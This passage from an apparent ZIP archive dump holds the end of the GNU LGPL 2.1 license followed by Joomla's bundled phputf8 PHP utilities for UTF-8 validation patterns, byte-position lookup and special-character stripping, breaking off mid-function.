making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the library's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. <signature of Ty Coon>, 1 April 1990 Ty Coon, President of Vice That's all there is to it! PKÜ�\f 3VBB3vendor/joomla/string/src/phputf8/utils/patterns.phpnu�[���<?php /** * PCRE Regular expressions for UTF-8. Note this file is not actually used by * the rest of the library but these regular expressions can be useful to have * available. * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @package utf8 */ //-------------------------------------------------------------------- /** * PCRE Pattern to check a UTF-8 string is valid * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @package utf8 */ $UTF8_VALID = '^('. '[\x00-\x7F]'. # ASCII (including control chars) '|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte '|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte '|\xED[\x80-\x9F][\x80-\xBF]'. # excluding surrogates '|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3 '|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15 '|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16 ')*$'; //-------------------------------------------------------------------- /** * PCRE Pattern to match single UTF-8 characters * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @package utf8 */ $UTF8_MATCH = '([\x00-\x7F])'. # ASCII (including control chars) '|([\xC2-\xDF][\x80-\xBF])'. # non-overlong 2-byte '|(\xE0[\xA0-\xBF][\x80-\xBF])'. # excluding overlongs '|([\xE1-\xEC\xEE\xEF][\x80-\xBF]{2})'. # straight 3-byte '|(\xED[\x80-\x9F][\x80-\xBF])'. # excluding surrogates '|(\xF0[\x90-\xBF][\x80-\xBF]{2})'. # planes 1-3 '|([\xF1-\xF3][\x80-\xBF]{3})'. # planes 4-15 '|(\xF4[\x80-\x8F][\x80-\xBF]{2})'; # plane 16 //-------------------------------------------------------------------- /** * PCRE Pattern to locate bad bytes in a UTF-8 string * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @package utf8 */ $UTF8_BAD = '([\x00-\x7F]'. # ASCII (including control chars) '|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte '|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte '|\xED[\x80-\x9F][\x80-\xBF]'. # excluding surrogates '|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3 '|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15 '|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16 '|(.{1}))'; # invalid byte PKÜ�\|�i���3vendor/joomla/string/src/phputf8/utils/position.phpnu�[���<?php /** * Locate a byte index given a UTF-8 character index * @package utf8 */ //-------------------------------------------------------------------- /** * Given a string and a character index in the string, in * terms of the UTF-8 character position, returns the byte * index of that character. Can be useful when you want to * PHP's native string functions but we warned, locating * the byte can be expensive * Takes variable number of parameters - first must be * the search string then 1 to n UTF-8 character positions * to obtain byte indexes for - it is more efficient to search * the string for multiple characters at once, than make * repeated calls to this function * * @author Chris Smith<chris@jalakai.co.uk> * @param string string to locate index in * @param int (n times) * @return mixed - int if only one input int, array if more * @return boolean TRUE if it's all ASCII * @package utf8 */ function utf8_byte_position() { $args = func_get_args(); $str =& array_shift($args); if (!is_string($str)) return false; $result = array(); // trivial byte index, character offset pair $prev = array(0,0); // use a short piece of str to estimate bytes per character // $i (& $j) -> byte indexes into $str $i = utf8_locate_next_chr($str, 300); // $c -> character offset into $str $c = strlen(utf8_decode(substr($str,0,$i))); // deal with arguments from lowest to highest sort($args); foreach ($args as $offset) { // sanity checks FIXME // 0 is an easy check if ($offset == 0) { $result[] = 0; continue; } // ensure no endless looping $safety_valve = 50; do { if ( ($c - $prev[1]) == 0 ) { // Hack: gone past end of string $error = 0; $i = strlen($str); break; } $j = $i + (int)(($offset-$c) * ($i - $prev[0]) / ($c - $prev[1])); // correct to utf8 character boundary $j = utf8_locate_next_chr($str, $j); // save the index, offset for use next iteration $prev = array($i,$c); if ($j > $i) { // determine new character offset $c += strlen(utf8_decode(substr($str,$i,$j-$i))); } else { // ditto $c -= strlen(utf8_decode(substr($str,$j,$i-$j))); } $error = abs($c-$offset); // ready for next time around $i = $j; // from 7 it is faster to iterate over the string } while ( ($error > 7) && --$safety_valve) ; if ($error && $error <= 7) { if ($c < $offset) { // move up while ($error--) { $i = utf8_locate_next_chr($str,++$i); } } else { // move down while ($error--) { $i = utf8_locate_current_chr($str,--$i); } } // ready for next arg $c = $offset; } $result[] = $i; } if ( count($result) == 1 ) { return $result[0]; } return $result; } //-------------------------------------------------------------------- /** * Given a string and any byte index, returns the byte index * of the start of the current UTF-8 character, relative to supplied * position. If the current character begins at the same place as the * supplied byte index, that byte index will be returned. Otherwise * this function will step backwards, looking for the index where * current UTF-8 character begins * @author Chris Smith<chris@jalakai.co.uk> * @param string * @param int byte index in the string * @return int byte index of start of next UTF-8 character * @package utf8 */ function utf8_locate_current_chr( &$str, $idx ) { if ($idx <= 0) return 0; $limit = strlen($str); if ($idx >= $limit) return $limit; // Binary value for any byte after the first in a multi-byte UTF-8 character // will be like 10xxxxxx so & 0xC0 can be used to detect this kind // of byte - assuming well formed UTF-8 while ($idx && ((ord($str[$idx]) & 0xC0) == 0x80)) $idx--; return $idx; } //-------------------------------------------------------------------- /** * Given a string and any byte index, returns the byte index * of the start of the next UTF-8 character, relative to supplied * position. If the next character begins at the same place as the * supplied byte index, that byte index will be returned. * @author Chris Smith<chris@jalakai.co.uk> * @param string * @param int byte index in the string * @return int byte index of start of next UTF-8 character * @package utf8 */ function utf8_locate_next_chr( &$str, $idx ) { if ($idx <= 0) return 0; $limit = strlen($str); if ($idx >= $limit) return $limit; // Binary value for any byte after the first in a multi-byte UTF-8 character // will be like 10xxxxxx so & 0xC0 can be used to detect this kind // of byte - assuming well formed UTF-8 while (($idx < $limit) && ((ord($str[$idx]) & 0xC0) == 0x80)) $idx++; return $idx; } PKÜ�\+OcgBB3vendor/joomla/string/src/phputf8/utils/specials.phpnu�[���<?php /** * Utilities for processing "special" characters in UTF-8. "Special" largely means anything which would * be regarded as a non-word character, like ASCII control characters and punctuation. This has a "Roman" * bias - it would be unaware of modern Chinese "punctuation" characters for example. * Note: requires utils/unicode.php to be loaded * @package utf8 * @see utf8_is_valid */ //-------------------------------------------------------------------- /** * Used internally. Builds a PCRE pattern from the $UTF8_SPECIAL_CHARS * array defined in this file * The $UTF8_SPECIAL_CHARS should contain all special characters (non-letter/non-digit) * defined in the various local charsets - it's not a complete list of * non-alphanum characters in UTF-8. It's not perfect but should match most * cases of special chars. * This function adds the control chars 0x00 to 0x19 to the array of * special chars (they are not included in $UTF8_SPECIAL_CHARS) * @package utf8 * @return string * @see utf8_from_unicode * @see utf8_is_word_chars * @see utf8_strip_specials */ function utf8_specials_pattern() { static $pattern = NULL; if ( !$pattern ) { $UTF8_SPECIAL_CHARS = array( 0x001a, 0x001b, 0x001c, 0x001d, 0x001e, 0x001f, 0x0020, 0x0021, 0x0022, 0x0023, 0x0024, 0x0025, 0x0026, 0x0027, 0x0028, 0x0029, 0x002a, 0x002b, 0x002c, 0x002f, 0x003b, 0x003c, 0x003d, 0x003e, 0x003f, 0x0040, 0x005b, 0x005c, 0x005d, 0x005e, 0x0060, 0x007b, 0x007c, 0x007d, 0x007e, 0x007f, 0x0080, 0x0081, 0x0082, 0x0083, 0x0084, 0x0085, 0x0086, 0x0087, 0x0088, 0x0089, 0x008a, 0x008b, 0x008c, 0x008d, 0x008e, 0x008f, 0x0090, 0x0091, 0x0092, 0x0093, 0x0094, 0x0095, 0x0096, 0x0097, 0x0098, 0x0099, 0x009a, 0x009b, 0x009c, 0x009d, 0x009e, 0x009f, 0x00a0, 0x00a1, 0x00a2, 0x00a3, 0x00a4, 0x00a5, 0x00a6, 0x00a7, 0x00a8, 0x00a9, 0x00aa, 0x00ab, 0x00ac, 0x00ad, 0x00ae, 0x00af, 0x00b0, 0x00b1, 0x00b2, 0x00b3, 0x00b4, 0x00b5, 0x00b6, 0x00b7, 0x00b8, 0x00b9, 0x00ba, 0x00bb, 0x00bc, 0x00bd, 0x00be, 0x00bf, 0x00d7, 0x00f7, 0x02c7, 0x02d8, 0x02d9, 0x02da, 0x02db, 0x02dc, 0x02dd, 0x0300, 0x0301, 0x0303, 0x0309, 0x0323, 0x0384, 0x0385, 0x0387, 0x03b2, 0x03c6, 0x03d1, 0x03d2, 0x03d5, 0x03d6, 0x05b0, 0x05b1, 0x05b2, 0x05b3, 0x05b4, 0x05b5, 0x05b6, 0x05b7, 0x05b8, 0x05b9, 0x05bb, 0x05bc, 0x05bd, 0x05be, 0x05bf, 0x05c0, 0x05c1, 0x05c2, 0x05c3, 0x05f3, 0x05f4, 0x060c, 0x061b, 0x061f, 0x0640, 0x064b, 0x064c, 0x064d, 0x064e, 0x064f, 0x0650, 0x0651, 0x0652, 0x066a, 0x0e3f, 0x200c, 0x200d, 0x200e, 0x200f, 0x2013, 0x2014, 0x2015, 0x2017, 0x2018, 0x2019, 0x201a, 0x201c, 0x201d, 0x201e, 0x2020, 0x2021, 0x2022, 0x2026, 0x2030, 0x2032, 0x2033, 0x2039, 0x203a, 0x2044, 0x20a7, 0x20aa, 0x20ab, 0x20ac, 0x2116, 0x2118, 0x2122, 0x2126, 0x2135, 0x2190, 0x2191, 0x2192, 0x2193, 0x2194, 0x2195, 0x21b5, 0x21d0, 0x21d1, 0x21d2, 0x21d3, 0x21d4, 0x2200, 0x2202, 0x2203, 0x2205, 0x2206, 0x2207, 0x2208, 0x2209, 0x220b, 0x220f, 0x2211, 0x2212, 0x2215, 0x2217, 0x2219, 0x221a, 0x221d, 0x221e, 0x2220, 0x2227, 0x2228, 0x2229, 0x222a, 0x222b, 0x2234, 0x223c, 0x2245, 0x2248, 0x2260, 0x2261, 0x2264, 0x2265, 0x2282, 0x2283, 0x2284, 0x2286, 0x2287, 0x2295, 0x2297, 0x22a5, 0x22c5, 0x2310, 0x2320, 0x2321, 0x2329, 0x232a, 0x2469, 0x2500, 0x2502, 0x250c, 0x2510, 0x2514, 0x2518, 0x251c, 0x2524, 0x252c, 0x2534, 0x253c, 0x2550, 0x2551, 0x2552, 0x2553, 0x2554, 0x2555, 0x2556, 0x2557, 0x2558, 0x2559, 0x255a, 0x255b, 0x255c, 0x255d, 0x255e, 0x255f, 0x2560, 0x2561, 0x2562, 0x2563, 0x2564, 0x2565, 0x2566, 0x2567, 0x2568, 0x2569, 0x256a, 0x256b, 0x256c, 0x2580, 0x2584, 0x2588, 0x258c, 0x2590, 0x2591, 0x2592, 0x2593, 0x25a0, 0x25b2, 0x25bc, 0x25c6, 0x25ca, 0x25cf, 0x25d7, 0x2605, 0x260e, 0x261b, 0x261e, 0x2660, 0x2663, 0x2665, 0x2666, 0x2701, 0x2702, 0x2703, 0x2704, 0x2706, 0x2707, 0x2708, 0x2709, 0x270c, 0x270d, 0x270e, 0x270f, 0x2710, 0x2711, 0x2712, 0x2713, 0x2714, 0x2715, 0x2716, 0x2717, 0x2718, 0x2719, 0x271a, 0x271b, 0x271c, 0x271d, 0x271e, 0x271f, 0x2720, 0x2721, 0x2722, 0x2723, 0x2724, 0x2725, 0x2726, 0x2727, 0x2729, 0x272a, 0x272b, 0x272c, 0x272d, 0x272e, 0x272f, 0x2730, 0x2731, 0x2732, 0x2733, 0x2734, 0x2735, 0x2736, 0x2737, 0x2738, 0x2739, 0x273a, 0x273b, 0x273c, 0x273d, 0x273e, 0x273f, 0x2740, 0x2741, 0x2742, 0x2743, 0x2744, 0x2745, 0x2746, 0x2747, 0x2748, 0x2749, 0x274a, 0x274b, 0x274d, 0x274f, 0x2750, 0x2751, 0x2752, 0x2756, 0x2758, 0x2759, 0x275a, 0x275b, 0x275c, 0x275d, 0x275e, 0x2761, 0x2762, 0x2763, 0x2764, 0x2765, 0x2766, 0x2767, 0x277f, 0x2789, 0x2793, 0x2794, 0x2798, 0x2799, 0x279a, 0x279b, 0x279c, 0x279d, 0x279e, 0x279f, 0x27a0, 0x27a1, 0x27a2, 0x27a3, 0x27a4, 0x27a5, 0x27a6, 0x27a7, 0x27a8, 0x27a9, 0x27aa, 0x27ab, 0x27ac, 0x27ad, 0x27ae, 0x27af, 0x27b1, 0x27b2, 0x27b3, 0x27b4, 0x27b5, 0x27b6, 0x27b7, 0x27b8, 0x27b9, 0x27ba, 0x27bb, 0x27bc, 0x27bd, 0x27be, 0xf6d9, 0xf6da, 0xf6db, 0xf8d7, 0xf8d8, 0xf8d9, 0xf8da, 0xf8db, 0xf8dc, 0xf8dd, 0xf8de, 0xf8df, 0xf8e0, 0xf8e1, 0xf8e2, 0xf8e3, 0xf8e4, 0xf8e5, 0xf8e6, 0xf8e7, 0xf8e8, 0xf8e9, 0xf8ea, 0xf8eb, 0xf8ec, 0xf8ed, 0xf8ee, 0xf8ef, 0xf8f0, 0xf8f1, 0xf8f2, 0xf8f3, 0xf8f4, 0xf8f5, 0xf8f6, 0xf8f7, 0xf8f8, 0xf8f9, 0xf8fa, 0xf8fb, 0xf8fc, 0xf8fd, 0xf8fe, 0xfe7c, 0xfe7d, ); $pattern = preg_quote(utf8_from_unicode($UTF8_SPECIAL_CHARS), '/'); $pattern = '/[\x00-\x19'.$pattern.']/u'; } return $pattern; } //-------------------------------------------------------------------- /** * Checks a string for whether it contains only word characters. This * is logically equivalent to the \w PCRE meta character. Note that * this is not a 100% guarantee that the string only contains alpha / * numeric characters but just that common non-alphanumeric are not * in the string, including ASCII device control characters. * @package utf8 * @param string to check * @return boolean TRUE if the string only contains word characters * @see utf8_specials_pattern */ function utf8_is_word_chars($str) { return !(bool)preg_match(utf8_specials_pattern(),$str); } //-------------------------------------------------------------------- /** * Removes special characters (nonalphanumeric) from a UTF-8 string * * This can be useful as a helper for sanitizing a string for use as * something like a file name or a unique identifier. Be warned though * it does not handle all possible non-alphanumeric characters and is * not intended is some kind of security / injection filter. * * @package utf8 * @author Andreas Gohr <andi@splitbrain.org> * @param string $string The UTF8 string to strip of special chars * @param string (optional) $repl Replace special with this string * @return string with common non-alphanumeric characters removed * @see utf8_specials_pattern */ function utf8_strip_specials($string, $repl=''){ return preg_replace(utf8_specials_pattern(), $repl, $string); } PKÜ�\*C{���5vendor/joomla/string/src/phputf8/utils/validation.phpnu�[���<?php /** * Tools for validating a UTF-8 string is well formed. * The Original Code is Mozilla Communicator client code. * The Initial Developer of the Original Code is * Netscape Communications Corporation. * Portions created by the Initial Developer are Copyright (C) 1998 * the Initial Developer. All Rights Reserved. * Ported to PHP by Henri Sivonen (http://hsivonen.iki.fi) * Slight modifications to fit with phputf8 library by Harry Fuecks (hfuecks gmail com) * @see http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUTF8ToUnicode.cpp * @see http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUnicodeToUTF8.cpp * @see http://hsivonen.iki.fi/php-utf8/ * @package utf8 */ //-------------------------------------------------------------------- /** * Tests a string as to whether it's valid UTF-8 and supported by the * Unicode standard * Note: this function has been modified to simple return true or false * @author <hsivonen@iki.fi> * @param string UTF-8 encoded string * @return boolean true if valid * @see http://hsivonen.iki.fi/php-utf8/ * @see utf8_compliant * @package utf8 */ function utf8_is_valid($str) { $mState = 0; // cached expected number of octets after the current octet // until the beginning of the next UTF8 character sequence $mUcs4 = 0; // cached Unicode character $mBytes = 1; // cached expected number of octets in the current sequence $len = strlen($str); for($i = 0; $i < $len; $i++) { /* * Joomla modification - As of PHP 7.4, curly brace access has been deprecated. As a result the line below has * been modified to use square brace syntax * See https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a * for additional references */ $in = ord($str[$i]); if ( 